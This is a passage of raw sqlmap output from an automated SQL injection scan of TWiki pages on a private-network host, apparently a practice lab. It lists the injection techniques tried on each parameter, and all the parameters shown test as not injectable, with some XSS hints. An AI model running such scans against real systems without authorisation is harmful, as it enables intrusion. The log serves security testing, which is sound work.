time-based blind' [19:31:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:31:12] [INFO] testing 'Oracle AND time-based blind' [19:31:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:31:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:31:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:32:13] [WARNING] GET parameter 'skin' is not injectable [19:32:13] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 115: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiFAQ?rev1=1.13&rev2=1.12 do you want to test this URL? [Y/n/q] Y [19:32:13] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiFAQ?rev1=1.13&rev2=1.12' [19:32:13] [INFO] testing connection to the target URL [19:32:14] [INFO] testing if the target URL is stable [19:32:15] [INFO] target URL is stable [19:32:15] [INFO] testing if GET parameter 'rev1' is dynamic [19:32:15] [WARNING] GET parameter 'rev1' does not appear dynamic [19:32:16] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:32:16] [INFO] testing for SQL injection on GET parameter 'rev1' [19:32:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:32:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:32:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:32:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:32:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:32:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:32:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:32:28] [INFO] testing 'MySQL inline queries' [19:32:28] [INFO] testing 'PostgreSQL inline queries' [19:32:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:32:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:32:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:32:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:32:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:32:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:32:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:32:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:32:32] [INFO] testing 'Oracle AND time-based blind' [19:32:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:32:32] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:32:38] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:32:44] [WARNING] GET parameter 'rev1' is not injectable [19:32:44] [INFO] testing if GET parameter 'rev2' is dynamic [19:32:45] [WARNING] GET parameter 'rev2' does not appear dynamic [19:32:45] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:32:45] [INFO] testing for SQL injection on GET parameter 'rev2' [19:32:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:32:46] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:32:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:32:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:32:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:32:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:32:48] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:32:49] [INFO] testing 'MySQL inline queries' [19:32:49] [INFO] testing 'PostgreSQL inline queries' [19:32:49] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:32:50] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:32:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:32:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:32:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:32:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:32:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:32:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:32:53] [INFO] testing 'Oracle AND time-based blind' [19:32:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:33:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:33:48] [WARNING] GET parameter 'rev2' is not injectable [19:33:49] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 116: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?rev=1.12 do you want to test this URL? [Y/n/q] Y [19:33:49] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?rev=1.12' [19:33:49] [INFO] testing connection to the target URL [19:33:50] [INFO] testing if the target URL is stable [19:33:50] [INFO] target URL is stable [19:33:50] [INFO] testing if GET parameter 'rev' is dynamic [19:33:51] [WARNING] GET parameter 'rev' does not appear dynamic [19:33:51] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:33:51] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:33:51] [INFO] testing for SQL injection on GET parameter 'rev' [19:33:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:33:52] [WARNING] reflective value(s) found and filtering out [19:33:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:33:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:34:00] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:34:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:34:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:34:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:34:09] [INFO] testing 'MySQL inline queries' [19:34:09] [INFO] testing 'PostgreSQL inline queries' [19:34:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:34:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:34:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:34:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:34:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:34:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:34:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:34:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:34:25] [INFO] testing 'Oracle AND time-based blind' [19:34:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:34:28] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:34:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:35:23] [WARNING] GET parameter 'rev' is not injectable [19:35:23] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:35:23] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiFAQ?rev1=1.12&rev2=1.11' [19:35:23] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?rev=1.11' URL 117: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiFAQ?template=oopsmore¶m1=1.13¶m2=1.13 do you want to test this URL? [Y/n/q] Y [19:35:23] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiFAQ?template=oopsmore¶m1=1.13¶m2=1.13' [19:35:23] [INFO] testing connection to the target URL [19:35:23] [INFO] testing if the target URL is stable [19:35:24] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:35:24] [INFO] testing if GET parameter 'template' is dynamic [19:35:24] [INFO] confirming that GET parameter 'template' is dynamic [19:35:25] [INFO] GET parameter 'template' is dynamic [19:35:25] [INFO] heuristics detected web page charset 'ascii' [19:35:25] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:35:25] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:35:25] [INFO] testing for SQL injection on GET parameter 'template' [19:35:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:35:26] [WARNING] reflective value(s) found and filtering out [19:35:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:35:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:35:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:35:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:35:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:35:37] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:35:37] [INFO] testing 'MySQL inline queries' [19:35:38] [INFO] testing 'PostgreSQL inline queries' [19:35:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:35:38] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:35:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:35:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:35:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:35:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:35:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:35:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:35:50] [INFO] testing 'Oracle AND time-based blind' [19:35:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:35:52] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:36:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:36:30] [WARNING] GET parameter 'template' is not injectable [19:36:30] [INFO] testing if GET parameter 'param1' is dynamic [19:36:30] [WARNING] GET parameter 'param1' does not appear dynamic [19:36:31] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:36:31] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:36:31] [INFO] testing for SQL injection on GET parameter 'param1' [19:36:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:36:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:36:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:36:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:36:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:36:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:36:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:36:46] [INFO] testing 'MySQL inline queries' [19:36:47] [INFO] testing 'PostgreSQL inline queries' [19:36:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:36:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:36:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:36:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:36:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:36:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:36:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:36:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:37:00] [INFO] testing 'Oracle AND time-based blind' [19:37:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:37:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:37:59] [WARNING] GET parameter 'param1' is not injectable [19:37:59] [INFO] testing if GET parameter 'param2' is dynamic [19:37:59] [WARNING] GET parameter 'param2' does not appear dynamic [19:37:59] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:38:00] [INFO] testing for SQL injection on GET parameter 'param2' [19:38:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:38:05] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:38:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:38:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:38:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:38:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:38:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:38:12] [INFO] testing 'MySQL inline queries' [19:38:12] [INFO] testing 'PostgreSQL inline queries' [19:38:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:38:13] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:38:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:38:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:38:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:38:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:38:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:38:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:38:27] [INFO] testing 'Oracle AND time-based blind' [19:38:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:38:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:39:17] [WARNING] GET parameter 'param2' is not injectable [19:39:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 118: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic1?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:39:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic1?topicparent=Sandbox.WebHome' [19:39:17] [INFO] testing connection to the target URL [19:39:18] [INFO] testing if the target URL is stable [19:39:18] [INFO] target URL is stable [19:39:18] [INFO] testing if GET parameter 'topicparent' is dynamic [19:39:19] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:39:19] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:39:19] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:39:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:39:19] [WARNING] reflective value(s) found and filtering out [19:39:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:39:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:39:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:39:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:39:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:39:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:39:23] [INFO] testing 'MySQL inline queries' [19:39:24] [INFO] testing 'PostgreSQL inline queries' [19:39:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:39:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:39:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:39:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:39:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:39:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:39:27] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:39:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:39:28] [INFO] testing 'Oracle AND time-based blind' [19:39:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:39:28] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:39:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:39:54] [WARNING] GET parameter 'topicparent' is not injectable [19:39:54] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 119: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic2?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:39:54] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic2?topicparent=Sandbox.WebHome' [19:39:54] [INFO] testing connection to the target URL [19:39:54] [INFO] testing if the target URL is stable [19:39:55] [INFO] target URL is stable [19:39:55] [INFO] testing if GET parameter 'topicparent' is dynamic [19:39:56] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:39:56] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:39:56] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:39:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:39:56] [WARNING] reflective value(s) found and filtering out [19:39:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:39:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:39:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:39:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:39:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:40:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:40:00] [INFO] testing 'MySQL inline queries' [19:40:00] [INFO] testing 'PostgreSQL inline queries' [19:40:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:40:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:40:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:40:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:40:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:40:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:40:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:40:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:40:03] [INFO] testing 'Oracle AND time-based blind' [19:40:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:40:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:40:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:40:16] [WARNING] GET parameter 'topicparent' is not injectable [19:40:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 120: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic3?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:40:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic3?topicparent=Sandbox.WebHome' [19:40:16] [INFO] testing connection to the target URL [19:40:16] [INFO] testing if the target URL is stable [19:40:17] [INFO] target URL is stable [19:40:17] [INFO] testing if GET parameter 'topicparent' is dynamic [19:40:17] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:40:17] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:40:17] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:40:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:40:18] [WARNING] reflective value(s) found and filtering out [19:40:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:40:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:40:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:40:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:40:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:40:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:40:21] [INFO] testing 'MySQL inline queries' [19:40:21] [INFO] testing 'PostgreSQL inline queries' [19:40:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:40:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:40:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:40:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:40:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:40:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:40:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:40:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:40:25] [INFO] testing 'Oracle AND time-based blind' [19:40:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:40:25] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:40:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:40:37] [WARNING] GET parameter 'topicparent' is not injectable [19:40:37] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 121: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic4?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:40:37] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic4?topicparent=Sandbox.WebHome' [19:40:37] [INFO] testing connection to the target URL [19:40:37] [INFO] testing if the target URL is stable [19:40:38] [INFO] target URL is stable [19:40:38] [INFO] testing if GET parameter 'topicparent' is dynamic [19:40:38] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:40:38] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:40:38] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:40:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:40:38] [WARNING] reflective value(s) found and filtering out [19:40:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:40:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:40:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:40:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:40:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:40:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:40:41] [INFO] testing 'MySQL inline queries' [19:40:42] [INFO] testing 'PostgreSQL inline queries' [19:40:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:40:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:40:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:40:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:40:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:40:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:40:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:40:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:40:45] [INFO] testing 'Oracle AND time-based blind' [19:40:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:40:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:41:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:41:18] [WARNING] GET parameter 'topicparent' is not injectable [19:41:18] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 122: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic5?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:41:18] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic5?topicparent=Sandbox.WebHome' [19:41:18] [INFO] testing connection to the target URL [19:41:18] [INFO] testing if the target URL is stable [19:41:19] [INFO] target URL is stable [19:41:19] [INFO] testing if GET parameter 'topicparent' is dynamic [19:41:19] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:41:19] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:41:19] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:41:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:41:19] [WARNING] reflective value(s) found and filtering out [19:41:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:41:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:41:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:41:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:41:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:41:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:41:23] [INFO] testing 'MySQL inline queries' [19:41:23] [INFO] testing 'PostgreSQL inline queries' [19:41:23] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:41:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:41:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:41:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:41:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:41:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:41:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:41:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:41:26] [INFO] testing 'Oracle AND time-based blind' [19:41:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:41:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:41:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:41:47] [WARNING] GET parameter 'topicparent' is not injectable [19:41:47] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the 